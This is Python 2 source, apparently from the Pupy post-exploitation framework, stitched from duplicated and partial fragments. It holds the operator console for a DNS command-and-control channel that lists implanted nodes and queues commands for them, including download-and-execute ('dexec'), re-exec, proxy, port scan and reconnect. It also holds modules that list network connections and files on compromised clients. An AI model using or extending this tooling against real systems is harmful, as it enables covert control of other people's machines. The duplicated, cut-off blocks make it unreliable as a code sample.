'{:08x}'.format(session.spi): pupy_session = c.desc['id'] elif c.node() == '{:012x}'.format(session.system_info['node']): pupy_session = c.desc['id'] break color = None if pupy_session: object.update({'P': pupy_session}) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({'P': pupy_session}) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display( Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset(session=args.node, default=args.default) if count: handler.display( Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': try: count = server.dnscnc.connect(host=args.host, port=args.port, transport=args.transport, node=args.node, default=args.default) except Exception, e: handler.display(Error(e)) return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node)))
def run(self, args): try: connections = self.client.remote('pupyps', 'connections') families = { int(k):v for k,v in self.client.remote_const( 'pupyps', 'families' ).iteritems() } socktypes = { int(k):v for k,v in self.client.remote_const( 'pupyps', 'socktypes' ).iteritems() } data = connections() limit = [] if args.tcp: limit.append('STREAM') if args.udp: limit.append('DGRAM') objects = [] for connection in data: if connection['status'] == 'LISTEN' and not args.listen: continue if args.listen and not connection['status'] == 'LISTEN': continue color = "" family = families[connection['family']] stype = socktypes[connection['type']] if limit and stype not in limit: continue if connection.get('me'): color = 'green' elif connection['status'] in ('CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'): color = 'darkgrey' elif ('127.0.0.1' in connection['laddr'] or '::1' in connection['laddr']): color = 'grey' deny = False if args.show or '*' in args.hide: deny = True connection = { 'AF': Color(family, color), 'TYPE': Color(stype, color), 'LADDR': Color(':'.join([str(x) for x in connection['laddr']]), color), 'RADDR': Color(':'.join([str(x) for x in connection['raddr']]), color), 'PID': Color(connection.get('pid', ''), color), 'USER': Color((connection.get('username') or ''), color), 'EXE': Color( connection.get( 'exe', (connection.get('name') or '') ), color) } for v in connection.itervalues(): if any(to_unicode(h) in to_unicode(v.data) for h in args.hide): deny = True if any(to_unicode(h) in to_unicode(v.data) for h in args.show): deny = False if not deny: objects.append(connection) self.table(objects, [ 'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'EXE' ], truncate=True) except Exception, e: logging.exception(e)
class ls(PupyModule): """ list system files """ is_module=False dependencies = ['pupyutils.basic_cmds', 'scandir', 'zipfile', 'tarfile'] @classmethod def init_argparse(cls): cls.arg_parser = PupyArgumentParser(prog="ls", description=cls.__doc__) cls.arg_parser.add_argument('-d', '--dir', action='store_false', default=True, help='do not list directories') sort = cls.arg_parser.add_mutually_exclusive_group() sort.add_argument('-L', '--limit', type=int, default=1024, help='List no more than this amount of files (server side), ' 'to not to stuck on huge dirs. Default: 1024') sort.add_argument('-A', '--archive', action='store_true', help='list archives (tar/zip)') sort.add_argument('-s', '--size', dest='sort', action='store_const', const=T_SIZE, help='sort by size') sort.add_argument('-t', '--time', dest='sort', action='store_const', const=T_TIMESTAMP, help='sort by time') cls.arg_parser.add_argument('-r', '--reverse', action='store_true', default=False, help='reverse sort order') cls.arg_parser.add_argument( 'path', type=str, nargs='?', help='path of a specific file', completer=remote_path_completer) def run(self, args): try: ls = self.client.remote('pupyutils.basic_cmds', 'ls') results = ls(args.path, args.dir, args.limit, args.archive) except Exception, e: self.error(' '.join(x for x in e.args if type(x) in (str, unicode))) return # results = obtain(results) windows = self.client.is_windows() if not results: return total_cnt = 0 files_size = 0 files_cnt = 0 dirs_cnt = 0 for r in results: if T_FILES in r: archive = None is_windows = windows if T_ZIPFILE in r: self.log(Color('ZIP: '+r[T_ZIPFILE]+':', 'lightred')) is_windows = True elif T_TARFILE in r: self.log(Color('TAR: '+r[T_TARFILE]+':', 'lightred')) is_windows = False elif T_PATH in r: self.log(r[T_PATH]+':') if not args.sort: dirs = [] files = [] truncated = 0 for x in r[T_FILES] or []: if T_TRUNCATED in x: truncated = x[T_TRUNCATED] total_cnt += truncated elif x[T_TYPE] == 'D': dirs.append(x) total_cnt += 1 dirs_cnt += 1 else: files.append(x) files_size += x[T_SIZE] total_cnt += 1 files_cnt += 1 for f in sorted(dirs, key=lambda x: to_utf8(x.get(T_NAME)), reverse=args.reverse): self.log(output_format(f, is_windows)) for f in sorted(files, key=lambda x: to_utf8(x.get(T_NAME)), reverse=args.reverse): self.log(output_format(f, is_windows)) if truncated: self.warning('Folder is too big. Not listed: {} (-L {})'.format( truncated, args.limit)) self.info('Summary (observed): Files: {} Dirs: {} Total: {}'.format( '{}+'.format(files_cnt) if files_cnt else '??', '{}+'.format(dirs_cnt) if dirs_cnt else '??', total_cnt)) else: self.info('Summary: Files: {} (size: {}) Dirs: {} Total: {}'.format( files_cnt, size_human_readable(files_size), dirs_cnt, total_cnt)) else: truncated = False for f in sorted(r[T_FILES], key=lambda x: x.get(args.sort), reverse=args.reverse): if T_TRUNCATED in f: truncated = True continue self.log(output_format(f, is_windows)) if truncated: self.log('--- TRUNCATED ---') elif T_FILE in r: is_windows = windows archive = '' if T_ZIPFILE in r: archive = 'ZIP' is_windows = True elif T_TARFILE in r: archive = 'TAR' is_windows = False self.log(output_format(r[T_FILE], is_windows, archive)) else: self.error('Old format. Update pupyutils.basic_cmds') return
def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format(server.dnscnc.count, server.dnscnc.dirty), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display( Table([{ 'PROPERTY': k, 'VALUE': v } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.iteritems(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EIP': session.system_info['external_ip'] or '?', 'IIP': session.system_info.get('internal_ip') or '', 'OS': '{}/{}'.format(session.system_info['os'], session.system_info['arch']), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] if pupy_session: object.update({'P': pupy_session}) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status[ 'mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'INTERNAL IP': '{}'.format( session.system_info.get('internal_ip') or '' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] color = None if pupy_session: object.update({'P': pupy_session}) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({'P': pupy_session}) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = {k: Color(v, color) for k, v in object.iteritems()} objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display( Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset(session=args.node, default=args.default) if count: handler.display( Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': # try: count = server.dnscnc.connect(args.host, args.port, args.transport, args.fronting, node=args.node, default=args.default) # except Exception, e: # handler.display(Error(e)) # return if count: handler.display( Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'onlinestatus': count = server.dnscnc.onlinestatus(node=args.node, default=args.default) if count: handler.display( Success( 'Schedule online status request to {} known nodes'.format( count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'scan': count = server.dnscnc.scan(args.host, args.first, args.last or args.first, node=args.node, default=args.default) if count: handler.display( Success( 'Schedule scan request to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'disconnect': count = server.dnscnc.disconnect(node=args.node, default=args.default) if count: handler.display( Success('Schedule disconnect to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'exit': count = server.dnscnc.exit(node=args.node, default=args.default) if count: handler.display( Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'reexec': count = server.dnscnc.reexec(node=args.node, default=args.default) if count: handler.display( Success('Schedule reexec to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'sleep': count = server.dnscnc.sleep(args.timeout, node=args.node, default=args.default) if count: handler.display( Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'proxy': count = server.dnscnc.proxy(args.uri, node=args.node, default=args.default) if count: handler.display( Success('Schedule proxy to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'dexec': count = server.dnscnc.dexec(args.url, args.action, proxy=args.proxy, node=args.node, default=args.default) if count: handler.display( Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'pastelink': try: create = None output = None if args.create: create = args.create elif args.create_content: create, output = args.create_content count, url = server.dnscnc.pastelink(content=create, output=output, url=args.url, action=args.action, node=args.node, default=args.default, legacy=args.legacy) if output: return if count: handler.display( Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) except ValueError as e: handler.display(Error('{}'.format(e))) elif args.command == 'extra': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Error('No sessions found')) return elif len(sessions) > 1: handler.display(Error('Selected more than one sessions')) return session = sessions[0] if session.online_status: handler.display('\nONLINE STATUS\n') objects = [{ 'KEY': Color(k.upper().replace('-', ' '), 'green' if session.online_status[k] else 'lightyellow'), 'VALUE': Color( str(session.online_status[k]).upper(), 'green' if session.online_status[k] else 'lightyellow') } for k in [ 'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http', 'https', 'https-no-cert', 'https-mitm', 'proxy', 'transparent-proxy', 'stun', 'mintime', 'ntp-offset' ]] handler.display(Table(objects, ['KEY', 'VALUE'])) handler.display('\nPASTES STATUS\n') objects = [{ 'KEY': Color(k, 'green' if v else 'lightyellow'), 'VALUE': Color(v, 'green' if v else 'lightyellow') } for k, v in session.online_status['pastebins'].iteritems()] handler.display(Table(objects, ['KEY', 'VALUE'])) session.online_status = None if session.egress_ports: handler.display('\nEGRESS PORTS: {}\n'.format(','.join( str(x) for x in session.egress_ports))) session.egress_ports = set() if session.open_ports: handler.display('\nOPEN PORTS\n') objects = [{ 'IP': str(ip), 'PORTS': ','.join(str(x) for x in ports) } for ip, ports in session.open_ports.iteritems()] handler.display(Table(objects, ['IP', 'PORTS'])) session.open_ports = {}